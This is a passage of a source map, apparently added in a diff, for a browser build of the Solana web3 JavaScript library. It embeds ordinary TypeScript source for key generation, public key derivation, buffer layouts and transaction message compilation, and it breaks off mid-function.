,EAAE5H,OAAO,CAAC4H,mBAAmB,IAAI5H,OAAO,CAAC6H,UAAU;IACtEhJ,cAAc,EAAEmB,OAAO,CAACnB;GACzB;EAED,MAAM9N,SAAS,GAAG,MAAMsQ,UAAU,CAACwuB,kBAAkB,CACnDC,cAAc,EACdpoB,WACF,CAAC;AAED,EAAA,MAAMG,UAAU,GAAG7H,OAAO,IAAIA,OAAO,CAAC6H,UAAU;EAChD,MAAM8gB,mBAAmB,GAAGqX,oBAAoB,GAC5C3+B,UAAU,CAAC4G,kBAAkB,CAAC+3B,oBAAoB,EAAEn4B,UAAU,CAAC,GAC/DxG,UAAU,CAAC4G,kBAAkB,CAAClX,SAAS,EAAE8W,UAAU,CAAC;AACxD,EAAA,MAAMG,MAAM,GAAG,CAAC,MAAM2gB,mBAAmB,EAAEp7B,KAAK;EAEhD,IAAIya,MAAM,CAAClY,GAAG,EAAE;IACd,IAAIiB,SAAS,IAAI,IAAI,EAAE;MACrB,MAAM,IAAIkU,oBAAoB,CAAC;AAC7BC,QAAAA,MAAM,EAAEwC,WAAW,EAAEC,aAAa,GAAG,MAAM,GAAG,UAAU;AACxD5W,QAAAA,SAAS,EAAEA,SAAS;AACpBoU,QAAAA,kBAAkB,EAAE,CAAY/F,SAAAA,EAAAA,IAAI,CAACC,SAAS,CAAC2I,MAAM,CAAC,CAAA,CAAA;AACxD,OAAC,CAAC;AACJ;AACA,IAAA,MAAM,IAAIhb,KAAK,CACb,CAAA,gBAAA,EAAmB+D,SAAS,CAAA,SAAA,EAAYqO,IAAI,CAACC,SAAS,CAAC2I,MAAM,CAAC,GAChE,CAAC;AACH;AAEA,EAAA,OAAOjX,SAAS;AAClB;;ACzFA;AACA;AACA;AACO,MAAMkvC,gBAAgB,GAAG;;;;","x_google_ignoreList":[32]}
1
+ {"version":3,"file":"index.browser.esm.js","sources":["../src/utils/ed25519.ts","../src/utils/to-buffer.ts","../src/utils/borsh-schema.ts","../src/publickey.ts","../src/transaction/constants.ts","../src/transaction/expiry-custom-errors.ts","../src/message/account-keys.ts","../src/layout.ts","../src/utils/shortvec-encoding.ts","../src/utils/assert.ts","../src/message/compiled-keys.ts","../src/utils/guarded-array-utils.ts","../src/message/legacy.ts","../src/message/v0.ts","../src/message/versioned.ts","../src/transaction/legacy.ts","../src/transaction/message.ts","../src/transaction/versioned.ts","../src/timing.ts","../src/sysvar.ts","../src/errors.ts","../src/utils/send-and-confirm-transaction.ts","../src/utils/sleep.ts","../src/instruction.ts","../src/fee-calculator.ts","../src/nonce-account.ts","../src/utils/bigint.ts","../src/programs/system.ts","../src/loader.ts","../src/account.ts","../src/bpf-loader-deprecated.ts","../src/bpf-loader.ts","../node_modules/fast-stable-stringify/index.js","../src/epoch-schedule.ts","../src/__forks__/browser/fetch-impl.ts","../src/rpc-websocket.ts","../src/account-data.ts","../src/programs/address-lookup-table/state.ts","../src/utils/makeWebsocketUrl.ts","../src/connection.ts","../src/keypair.ts","../src/programs/address-lookup-table/index.ts","../src/programs/compute-budget.ts","../src/programs/ed25519.ts","../src/utils/secp256k1.ts","../src/programs/secp256k1.ts","../src/programs/stake.ts","../src/programs/vote.ts","../src/validator-info.ts","../src/vote-account.ts","../src/utils/cluster.ts","../src/utils/send-and-confirm-raw-transaction.ts","../src/index.ts"],"sourcesContent":["import {ed25519} from '@noble/curves/ed25519';\n\n/**\n * A 64 byte secret key, the first 32 bytes of which is the\n * private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\ntype Ed25519SecretKey = Uint8Array;\n\n/**\n * Ed25519 Keypair\n */\nexport interface Ed25519Keypair {\n publicKey: Uint8Array;\n secretKey: Ed25519SecretKey;\n}\n\nexport const generatePrivateKey = ed25519.utils.randomPrivateKey;\nexport const generateKeypair = (): Ed25519Keypair => {\n const privateScalar = ed25519.utils.randomPrivateKey();\n const publicKey = getPublicKey(privateScalar);\n const secretKey = new Uint8Array(64);\n secretKey.set(privateScalar);\n secretKey.set(publicKey, 32);\n return {\n publicKey,\n secretKey,\n };\n};\nexport const getPublicKey = ed25519.getPublicKey;\nexport function isOnCurve(publicKey: Uint8Array): boolean {\n try {\n ed25519.ExtendedPoint.fromHex(publicKey);\n return true;\n } catch {\n return false;\n }\n}\nexport const sign = (\n message: Parameters<typeof ed25519.sign>[0],\n secretKey: Ed25519SecretKey,\n) => ed25519.sign(message, secretKey.slice(0, 32));\nexport const verify = ed25519.verify;\n","import {Buffer} from 'buffer';\n\nexport const toBuffer = (arr: Buffer | Uint8Array | Array<number>): Buffer => {\n if (Buffer.isBuffer(arr)) {\n return arr;\n } else if (arr instanceof Uint8Array) {\n return Buffer.from(arr.buffer, arr.byteOffset, arr.byteLength);\n } else {\n return Buffer.from(arr);\n }\n};\n","import {Buffer} from 'buffer';\nimport {serialize, deserialize, deserializeUnchecked} from 'borsh';\n\n// Class wrapping a plain object\nexport class Struct {\n constructor(properties: any) {\n Object.assign(this, properties);\n }\n\n encode(): Buffer {\n return Buffer.from(serialize(SOLANA_SCHEMA, this));\n }\n\n static decode(data: Buffer): any {\n return deserialize(SOLANA_SCHEMA, this, data);\n }\n\n static decodeUnchecked(data: Buffer): any {\n return deserializeUnchecked(SOLANA_SCHEMA, this, data);\n }\n}\n\n// Class representing a Rust-compatible enum, since enums are only strings or\n// numbers in pure JS\nexport class Enum extends Struct {\n enum: string = '';\n constructor(properties: any) {\n super(properties);\n if (Object.keys(properties).length !== 1) {\n throw new Error('Enum can only take single value');\n }\n Object.keys(properties).map(key => {\n this.enum = key;\n });\n }\n}\n\nexport const SOLANA_SCHEMA: Map<Function, any> = new Map();\n","import BN from 'bn.js';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport {sha256} from '@noble/hashes/sha256';\n\nimport {isOnCurve} from './utils/ed25519';\nimport {Struct, SOLANA_SCHEMA} from './utils/borsh-schema';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * Maximum length of derived pubkey seed\n */\nexport const MAX_SEED_LENGTH = 32;\n\n/**\n * Size of public key in bytes\n */\nexport const PUBLIC_KEY_LENGTH = 32;\n\n/**\n * Value to be converted into public key\n */\nexport type PublicKeyInitData =\n | number\n | string\n | Uint8Array\n | Array<number>\n | PublicKeyData;\n\n/**\n * JSON object representation of PublicKey class\n */\nexport type PublicKeyData = {\n /** @internal */\n _bn: BN;\n};\n\nfunction isPublicKeyData(value: PublicKeyInitData): value is PublicKeyData {\n return (value as PublicKeyData)._bn !== undefined;\n}\n\n// local counter used by PublicKey.unique()\nlet uniquePublicKeyCounter = 1;\n\n/**\n * A public key\n */\nexport class PublicKey extends Struct {\n /** @internal */\n _bn: BN;\n\n /**\n * Create a new PublicKey object\n * @param value ed25519 public key as buffer or base-58 encoded string\n */\n constructor(value: PublicKeyInitData) {\n super({});\n if (isPublicKeyData(value)) {\n this._bn = value._bn;\n } else {\n if (typeof value === 'string') {\n // assume base 58 encoding by default\n const decoded = bs58.decode(value);\n if (decoded.length != PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n this._bn = new BN(decoded);\n } else {\n this._bn = new BN(value);\n }\n\n if (this._bn.byteLength() > PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n }\n }\n\n /**\n * Returns a unique PublicKey for tests and benchmarks using a counter\n */\n static unique(): PublicKey {\n const key = new PublicKey(uniquePublicKeyCounter);\n uniquePublicKeyCounter += 1;\n return new PublicKey(key.toBuffer());\n }\n\n /**\n * Default public key value. The base58-encoded string representation is all ones (as seen below)\n * The underlying BN number is 32 bytes that are all zeros\n */\n static default: PublicKey = new PublicKey('11111111111111111111111111111111');\n\n /**\n * Checks if two publicKeys are equal\n */\n equals(publicKey: PublicKey): boolean {\n return this._bn.eq(publicKey._bn);\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toBase58(): string {\n return bs58.encode(this.toBytes());\n }\n\n toJSON(): string {\n return this.toBase58();\n }\n\n /**\n * Return the byte array representation of the public key in big endian\n */\n toBytes(): Uint8Array {\n const buf = this.toBuffer();\n return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength);\n }\n\n /**\n * Return the Buffer representation of the public key in big endian\n */\n toBuffer(): Buffer {\n const b = this._bn.toArrayLike(Buffer);\n if (b.length === PUBLIC_KEY_LENGTH) {\n return b;\n }\n\n const zeroPad = Buffer.alloc(32);\n b.copy(zeroPad, 32 - b.length);\n return zeroPad;\n }\n\n get [Symbol.toStringTag](): string {\n return `PublicKey(${this.toString()})`;\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toString(): string {\n return this.toBase58();\n }\n\n /**\n * Derive a public key from another key, a seed, and a program ID.\n * The program ID will also serve as the owner of the public key, giving\n * it permission to write data to the account.\n */\n /* eslint-disable require-await */\n static async createWithSeed(\n fromPublicKey: PublicKey,\n seed: string,\n programId: PublicKey,\n ): Promise<PublicKey> {\n const buffer = Buffer.concat([\n fromPublicKey.toBuffer(),\n Buffer.from(seed),\n programId.toBuffer(),\n ]);\n const publicKeyBytes = sha256(buffer);\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Derive a program address from seeds and a program ID.\n */\n /* eslint-disable require-await */\n static createProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): PublicKey {\n let buffer = Buffer.alloc(0);\n seeds.forEach(function (seed) {\n if (seed.length > MAX_SEED_LENGTH) {\n throw new TypeError(`Max seed length exceeded`);\n }\n buffer = Buffer.concat([buffer, toBuffer(seed)]);\n });\n buffer = Buffer.concat([\n buffer,\n programId.toBuffer(),\n Buffer.from('ProgramDerivedAddress'),\n ]);\n const publicKeyBytes = sha256(buffer);\n if (isOnCurve(publicKeyBytes)) {\n throw new Error(`Invalid seeds, address must fall off the curve`);\n }\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Async version of createProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link createProgramAddressSync} instead\n */\n /* eslint-disable require-await */\n static async createProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<PublicKey> {\n return this.createProgramAddressSync(seeds, programId);\n }\n\n /**\n * Find a valid program address\n *\n * Valid program addresses must fall off the ed25519 curve. This function\n * iterates a nonce until it finds one that when combined with the seeds\n * results in a valid program address.\n */\n static findProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): [PublicKey, number] {\n let nonce = 255;\n let address;\n while (nonce != 0) {\n try {\n const seedsWithNonce = seeds.concat(Buffer.from([nonce]));\n address = this.createProgramAddressSync(seedsWithNonce, programId);\n } catch (err) {\n if (err instanceof TypeError) {\n throw err;\n }\n nonce--;\n continue;\n }\n return [address, nonce];\n }\n throw new Error(`Unable to find a viable program address nonce`);\n }\n\n /**\n * Async version of findProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link findProgramAddressSync} instead\n */\n static async findProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<[PublicKey, number]> {\n return this.findProgramAddressSync(seeds, programId);\n }\n\n /**\n * Check that a pubkey is on the ed25519 curve.\n */\n static isOnCurve(pubkeyData: PublicKeyInitData): boolean {\n const pubkey = new PublicKey(pubkeyData);\n return isOnCurve(pubkey.toBytes());\n }\n}\n\nSOLANA_SCHEMA.set(PublicKey, {\n kind: 'struct',\n fields: [['_bn', 'u256']],\n});\n","/**\n * Maximum over-the-wire size of a Transaction\n *\n * 1280 is IPv6 minimum MTU\n * 40 bytes is the size of the IPv6 header\n * 8 bytes is the size of the fragment header\n */\nexport const PACKET_DATA_SIZE = 1280 - 40 - 8;\n\nexport const VERSION_PREFIX_MASK = 0x7f;\n\nexport const SIGNATURE_LENGTH_IN_BYTES = 64;\n","export class TransactionExpiredBlockheightExceededError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: block height exceeded.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(\n TransactionExpiredBlockheightExceededError.prototype,\n 'name',\n {\n value: 'TransactionExpiredBlockheightExceededError',\n },\n);\n\nexport class TransactionExpiredTimeoutError extends Error {\n signature: string;\n\n constructor(signature: string, timeoutSeconds: number) {\n super(\n `Transaction was not confirmed in ${timeoutSeconds.toFixed(\n 2,\n )} seconds. It is ` +\n 'unknown if it succeeded or failed. Check signature ' +\n `${signature} using the Solana Explorer or CLI tools.`,\n );\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredTimeoutError.prototype, 'name', {\n value: 'TransactionExpiredTimeoutError',\n});\n\nexport class TransactionExpiredNonceInvalidError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: the nonce is no longer valid.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredNonceInvalidError.prototype, 'name', {\n value: 'TransactionExpiredNonceInvalidError',\n});\n","import {LoadedAddresses} from '../connection';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {MessageCompiledInstruction} from './index';\n\nexport type AccountKeysFromLookups = LoadedAddresses;\n\nexport class MessageAccountKeys {\n staticAccountKeys: Array<PublicKey>;\n accountKeysFromLookups?: AccountKeysFromLookups;\n\n constructor(\n staticAccountKeys: Array<PublicKey>,\n accountKeysFromLookups?: AccountKeysFromLookups,\n ) {\n this.staticAccountKeys = staticAccountKeys;\n this.accountKeysFromLookups = accountKeysFromLookups;\n }\n\n keySegments(): Array<Array<PublicKey>> {\n const keySegments = [this.staticAccountKeys];\n if (this.accountKeysFromLookups) {\n keySegments.push(this.accountKeysFromLookups.writable);\n keySegments.push(this.accountKeysFromLookups.readonly);\n }\n return keySegments;\n }\n\n get(index: number): PublicKey | undefined {\n for (const keySegment of this.keySegments()) {\n if (index < keySegment.length) {\n return keySegment[index];\n } else {\n index -= keySegment.length;\n }\n }\n return;\n }\n\n get length(): number {\n return this.keySegments().flat().length;\n }\n\n compileInstructions(\n instructions: Array<TransactionInstruction>,\n ): Array<MessageCompiledInstruction> {\n // Bail early if any account indexes would overflow a u8\n const U8_MAX = 255;\n if (this.length > U8_MAX + 1) {\n throw new Error('Account index overflow encountered during compilation');\n }\n\n const keyIndexMap = new Map();\n this.keySegments()\n .flat()\n .forEach((key, index) => {\n keyIndexMap.set(key.toBase58(), index);\n });\n\n const findKeyIndex = (key: PublicKey) => {\n const keyIndex = keyIndexMap.get(key.toBase58());\n if (keyIndex === undefined)\n throw new Error(\n 'Encountered an unknown instruction account key during compilation',\n );\n return keyIndex;\n };\n\n return instructions.map((instruction): MessageCompiledInstruction => {\n return {\n programIdIndex: findKeyIndex(instruction.programId),\n accountKeyIndexes: instruction.keys.map(meta =>\n findKeyIndex(meta.pubkey),\n ),\n data: instruction.data,\n };\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {VoteAuthorizeWithSeedArgs} from './programs/vote';\n\n/**\n * Layout for a public key\n */\nexport const publicKey = (property: string = 'publicKey') => {\n return BufferLayout.blob(32, property);\n};\n\n/**\n * Layout for a signature\n */\nexport const signature = (property: string = 'signature') => {\n return BufferLayout.blob(64, property);\n};\n\n/**\n * Layout for a 64bit unsigned value\n */\nexport const uint64 = (property: string = 'uint64') => {\n return BufferLayout.blob(8, property);\n};\n\ninterface IRustStringShim\n extends Omit<\n BufferLayout.Structure<\n Readonly<{\n length: number;\n lengthPadding: number;\n chars: Uint8Array;\n }>\n >,\n 'decode' | 'encode' | 'replicate'\n > {\n alloc: (str: string) => number;\n decode: (b: Uint8Array, offset?: number) => string;\n encode: (str: string, b: Uint8Array, offset?: number) => number;\n replicate: (property: string) => this;\n}\n\n/**\n * Layout for a Rust String type\n */\nexport const rustString = (\n property: string = 'string',\n): BufferLayout.Layout<string> => {\n const rsl = BufferLayout.struct<\n Readonly<{\n length?: number;\n lengthPadding?: number;\n chars: Uint8Array;\n }>\n >(\n [\n BufferLayout.u32('length'),\n BufferLayout.u32('lengthPadding'),\n BufferLayout.blob(BufferLayout.offset(BufferLayout.u32(), -8), 'chars'),\n ],\n property,\n );\n const _decode = rsl.decode.bind(rsl);\n const _encode = rsl.encode.bind(rsl);\n\n const rslShim = rsl as unknown as IRustStringShim;\n\n rslShim.decode = (b: Uint8Array, offset?: number) => {\n const data = _decode(b, offset);\n return data['chars'].toString();\n };\n\n rslShim.encode = (str: string, b: Uint8Array, offset?: number) => {\n const data = {\n chars: Buffer.from(str, 'utf8'),\n };\n return _encode(data, b, offset);\n };\n\n rslShim.alloc = (str: string) => {\n return (\n BufferLayout.u32().span +\n BufferLayout.u32().span +\n Buffer.from(str, 'utf8').length\n );\n };\n\n return rslShim;\n};\n\n/**\n * Layout for an Authorized object\n */\nexport const authorized = (property: string = 'authorized') => {\n return BufferLayout.struct<\n Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n }>\n >([publicKey('staker'), publicKey('withdrawer')], property);\n};\n\n/**\n * Layout for a Lockup object\n */\nexport const lockup = (property: string = 'lockup') => {\n return BufferLayout.struct<\n Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n }>\n >(\n [\n BufferLayout.ns64('unixTimestamp'),\n BufferLayout.ns64('epoch'),\n publicKey('custodian'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteInit object\n */\nexport const voteInit = (property: string = 'voteInit') => {\n return BufferLayout.struct<\n Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>\n >(\n [\n publicKey('nodePubkey'),\n publicKey('authorizedVoter'),\n publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteAuthorizeWithSeedArgs object\n */\nexport const voteAuthorizeWithSeedArgs = (\n property: string = 'voteAuthorizeWithSeedArgs',\n) => {\n return BufferLayout.struct<VoteAuthorizeWithSeedArgs>(\n [\n BufferLayout.u32('voteAuthorizationType'),\n publicKey('currentAuthorityDerivedKeyOwnerPubkey'),\n rustString('currentAuthorityDerivedKeySeed'),\n publicKey('newAuthorized'),\n ],\n property,\n );\n};\n\nexport function getAlloc(type: any, fields: any): number {\n const getItemAlloc = (item: any): number => {\n if (item.span >= 0) {\n return item.span;\n } else if (typeof item.alloc === 'function') {\n return item.alloc(fields[item.property]);\n } else if ('count' in item && 'elementLayout' in item) {\n const field = fields[item.property];\n if (Array.isArray(field)) {\n return field.length * getItemAlloc(item.elementLayout);\n }\n } else if ('fields' in item) {\n // This is a `Structure` whose size needs to be recursively measured.\n return getAlloc({layout: item}, fields[item.property]);\n }\n // Couldn't determine allocated size of layout\n return 0;\n };\n\n let alloc = 0;\n type.layout.fields.forEach((item: any) => {\n alloc += getItemAlloc(item);\n });\n\n return alloc;\n}\n","export function decodeLength(bytes: Array<number>): number {\n let len = 0;\n let size = 0;\n for (;;) {\n let elem = bytes.shift() as number;\n len |= (elem & 0x7f) << (size * 7);\n size += 1;\n if ((elem & 0x80) === 0) {\n break;\n }\n }\n return len;\n}\n\nexport function encodeLength(bytes: Array<number>, len: number) {\n let rem_len = len;\n for (;;) {\n let elem = rem_len & 0x7f;\n rem_len >>= 7;\n if (rem_len == 0) {\n bytes.push(elem);\n break;\n } else {\n elem |= 0x80;\n bytes.push(elem);\n }\n }\n}\n","export default function (\n condition: unknown,\n message?: string,\n): asserts condition {\n if (!condition) {\n throw new Error(message || 'Assertion failed');\n }\n}\n","import {MessageHeader, MessageAddressTableLookup} from './index';\nimport {AccountKeysFromLookups} from './account-keys';\nimport {AddressLookupTableAccount} from '../programs';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {PublicKey} from '../publickey';\n\nexport type CompiledKeyMeta = {\n isSigner: boolean;\n isWritable: boolean;\n isInvoked: boolean;\n};\n\ntype KeyMetaMap = Map<string, CompiledKeyMeta>;\n\nexport class CompiledKeys {\n payer: PublicKey;\n keyMetaMap: KeyMetaMap;\n\n constructor(payer: PublicKey, keyMetaMap: KeyMetaMap) {\n this.payer = payer;\n this.keyMetaMap = keyMetaMap;\n }\n\n static compile(\n instructions: Array<TransactionInstruction>,\n payer: PublicKey,\n ): CompiledKeys {\n const keyMetaMap: KeyMetaMap = new Map();\n const getOrInsertDefault = (pubkey: PublicKey): CompiledKeyMeta => {\n const address = pubkey.toBase58();\n let keyMeta = keyMetaMap.get(address);\n if (keyMeta === undefined) {\n keyMeta = {\n isSigner: false,\n isWritable: false,\n isInvoked: false,\n };\n keyMetaMap.set(address, keyMeta);\n }\n return keyMeta;\n };\n\n const payerKeyMeta = getOrInsertDefault(payer);\n payerKeyMeta.isSigner = true;\n payerKeyMeta.isWritable = true;\n\n for (const ix of instructions) {\n getOrInsertDefault(ix.programId).isInvoked = true;\n for (const accountMeta of ix.keys) {\n const keyMeta = getOrInsertDefault(accountMeta.pubkey);\n keyMeta.isSigner ||= accountMeta.isSigner;\n keyMeta.isWritable ||= accountMeta.isWritable;\n }\n }\n\n return new CompiledKeys(payer, keyMetaMap);\n }\n\n getMessageComponents(): [MessageHeader, Array<PublicKey>] {\n const mapEntries = [...this.keyMetaMap.entries()];\n assert(mapEntries.length <= 256, 'Max static account keys length exceeded');\n\n const writableSigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && meta.isWritable,\n );\n const readonlySigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && !meta.isWritable,\n );\n const writableNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && meta.isWritable,\n );\n const readonlyNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && !meta.isWritable,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: writableSigners.length + readonlySigners.length,\n numReadonlySignedAccounts: readonlySigners.length,\n numReadonlyUnsignedAccounts: readonlyNonSigners.length,\n };\n\n // sanity checks\n {\n assert(\n writableSigners.length > 0,\n 'Expected at least one writable signer key',\n );\n const [payerAddress] = writableSigners[0];\n assert(\n payerAddress === this.payer.toBase58(),\n 'Expected first writable signer key to be the fee payer',\n );\n }\n\n const staticAccountKeys = [\n ...writableSigners.map(([address]) => new PublicKey(address)),\n ...readonlySigners.map(([address]) => new PublicKey(address)),\n ...writableNonSigners.map(([address]) => new PublicKey(address)),\n ...readonlyNonSigners.map(([address]) => new PublicKey(address)),\n ];\n\n return [header, staticAccountKeys];\n }\n\n extractTableLookup(\n lookupTable: AddressLookupTableAccount,\n ): [MessageAddressTableLookup, AccountKeysFromLookups] | undefined {\n const [writableIndexes, drainedWritableKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && keyMeta.isWritable,\n );\n const [readonlyIndexes, drainedReadonlyKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && !keyMeta.isWritable,\n );\n\n // Don't extract lookup if no keys were found\n if (writableIndexes.length === 0 && readonlyIndexes.length === 0) {\n return;\n }\n\n return [\n {\n accountKey: lookupTable.key,\n writableIndexes,\n readonlyIndexes,\n },\n {\n writable: drainedWritableKeys,\n readonly: drainedReadonlyKeys,\n },\n ];\n }\n\n /** @internal */\n private drainKeysFoundInLookupTable(\n lookupTableEntries: Array<PublicKey>,\n keyMetaFilter: (keyMeta: CompiledKeyMeta) => boolean,\n ): [Array<number>, Array<PublicKey>] {\n const lookupTableIndexes = new Array();\n const drainedKeys = new Array();\n\n for (const [address, keyMeta] of this.keyMetaMap.entries()) {\n if (keyMetaFilter(keyMeta)) {\n const key = new PublicKey(address);\n const lookupTableIndex = lookupTableEntries.findIndex(entry =>\n entry.equals(key),\n );\n if (lookupTableIndex >= 0) {\n assert(lookupTableIndex < 256, 'Max lookup table index exceeded');\n lookupTableIndexes.push(lookupTableIndex);\n drainedKeys.push(key);\n this.keyMetaMap.delete(address);\n }\n }\n }\n\n return [lookupTableIndexes, drainedKeys];\n }\n}\n","const END_OF_BUFFER_ERROR_MESSAGE = 'Reached end of buffer unexpectedly';\n\n/**\n * Delegates to `Array#shift`, but throws if the array is zero-length.\n */\nexport function guardedShift<T>(byteArray: T[]): T {\n if (byteArray.length === 0) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.shift() as T;\n}\n\n/**\n * Delegates to `Array#splice`, but throws if the section being spliced out extends past the end of\n * the array.\n */\nexport function guardedSplice<T>(\n byteArray: T[],\n ...args:\n | [start: number, deleteCount?: number]\n | [start: number, deleteCount: number, ...items: T[]]\n): T[] {\n const [start] = args;\n if (\n args.length === 2 // Implies that `deleteCount` was supplied\n ? start + (args[1] ?? 0) > byteArray.length\n : start >= byteArray.length\n ) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.splice(\n ...(args as Parameters<typeof Array.prototype.splice>),\n );\n}\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport type {Blockhash} from '../blockhash';\nimport * as Layout from '../layout';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {TransactionInstruction} from '../transaction';\nimport {CompiledKeys} from './compiled-keys';\nimport {MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * An instruction to execute by a program\n *\n * @property {number} programIdIndex\n * @property {number[]} accounts\n * @property {string} data\n */\nexport type CompiledInstruction = {\n /** Index into the transaction keys array indicating the program account that executes this instruction */\n programIdIndex: number;\n /** Ordered indices into the transaction keys array indicating which accounts to pass to the program */\n accounts: number[];\n /** The program input data encoded as base 58 */\n data: string;\n};\n\n/**\n * Message constructor arguments\n */\nexport type MessageArgs = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** All the account keys used by this transaction */\n accountKeys: string[] | PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n instructions: CompiledInstruction[];\n};\n\nexport type CompileLegacyArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\n/**\n * List of instructions to be processed atomically\n */\nexport class Message {\n header: MessageHeader;\n accountKeys: PublicKey[];\n recentBlockhash: Blockhash;\n instructions: CompiledInstruction[];\n\n private indexToProgramIds: Map<number, PublicKey> = new Map<\n number,\n PublicKey\n >();\n\n constructor(args: MessageArgs) {\n this.header = args.header;\n this.accountKeys = args.accountKeys.map(account => new PublicKey(account));\n this.recentBlockhash = args.recentBlockhash;\n this.instructions = args.instructions;\n this.instructions.forEach(ix =>\n this.indexToProgramIds.set(\n ix.programIdIndex,\n this.accountKeys[ix.programIdIndex],\n ),\n );\n }\n\n get version(): 'legacy' {\n return 'legacy';\n }\n\n get staticAccountKeys(): Array<PublicKey> {\n return this.accountKeys;\n }\n\n get compiledInstructions(): Array<MessageCompiledInstruction> {\n return this.instructions.map(\n (ix): MessageCompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n }),\n );\n }\n\n get addressTableLookups(): Array<MessageAddressTableLookup> {\n return [];\n }\n\n getAccountKeys(): MessageAccountKeys {\n return new MessageAccountKeys(this.staticAccountKeys);\n }\n\n static compile(args: CompileLegacyArgs): Message {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(staticAccountKeys);\n const instructions = accountKeys.compileInstructions(args.instructions).map(\n (ix: MessageCompiledInstruction): CompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accounts: ix.accountKeyIndexes,\n data: bs58.encode(ix.data),\n }),\n );\n return new Message({\n header,\n accountKeys: staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n instructions,\n });\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = this.accountKeys.length - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n isProgramId(index: number): boolean {\n return this.indexToProgramIds.has(index);\n }\n\n programIds(): PublicKey[] {\n return [...this.indexToProgramIds.values()];\n }\n\n nonProgramIds(): PublicKey[] {\n return this.accountKeys.filter((_, index) => !this.isProgramId(index));\n }\n\n serialize(): Buffer {\n const numKeys = this.accountKeys.length;\n\n let keyCount: number[] = [];\n shortvec.encodeLength(keyCount, numKeys);\n\n const instructions = this.instructions.map(instruction => {\n const {accounts, programIdIndex} = instruction;\n const data = Array.from(bs58.decode(instruction.data));\n\n let keyIndicesCount: number[] = [];\n shortvec.encodeLength(keyIndicesCount, accounts.length);\n\n let dataCount: number[] = [];\n shortvec.encodeLength(dataCount, data.length);\n\n return {\n programIdIndex,\n keyIndicesCount: 